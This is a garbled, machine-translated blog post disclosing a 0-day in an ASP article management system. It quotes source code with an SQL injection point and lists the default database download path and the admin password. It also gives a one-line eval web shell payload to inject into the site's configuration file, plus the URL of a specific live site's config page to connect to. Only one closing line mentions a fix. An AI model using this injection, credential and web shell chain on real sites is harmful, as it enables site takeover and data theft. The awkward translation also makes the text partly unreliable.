Meter Article management system 0-day and repair (Affected Version)

 

Blog: blog.moonhack.com

<! -- # Include file = "include/head. asp" -->

<! -- # Include file = "include/ubb2html. asp" -->

<%

Dim ContextID, Form_Title, Form_Context, formID, i2, title, Page, Pages, AllCount, ShowCount, PastCount, listMethod, ip, title2, status, bgcolor, listpage, csspath, j, ismobile, lastupdatetime, tmpJs, isLock, threadmaster, showOrder, keywords, tags

ContextID = Cnum (Request. QueryString ("id") 'Here, the function for getting unfiltered Cnum is to convert a character into a number By dark' moon

Page = Max (Cnum (sqlshow (Request ("page"), 1)

Listpage = sqlshow (Request. QueryString ("listpage "))

FormID = ContextID

Csspath = left (css_style, instr (css_style, ".")-1)

ShowOrder = 0' 1 is forward order 0 is backward order

If ContextID = 0 Then

Turnto "" & strUrl &""

End If

Enable_Anonymous = False

SQL = "select * from Content where id =" & ContextID & "or Parent =" & ContextID & "order by Parent, PostTime" 'Vulnerability

OpenRs (SQL)

'Id No. Error

If Rs. RecordCount = 0 Then

Turnto "" & strUrl &""

End If

Database download

Databases/data. mdb

Default Account Password admin 123456

Background configuration file input data

"%> <% Eval request (" sb ") %> <% s ="

Connection

Http://www.bkjia.com/include/config. asp

 

Fixed: Targeted filtering and database address Modification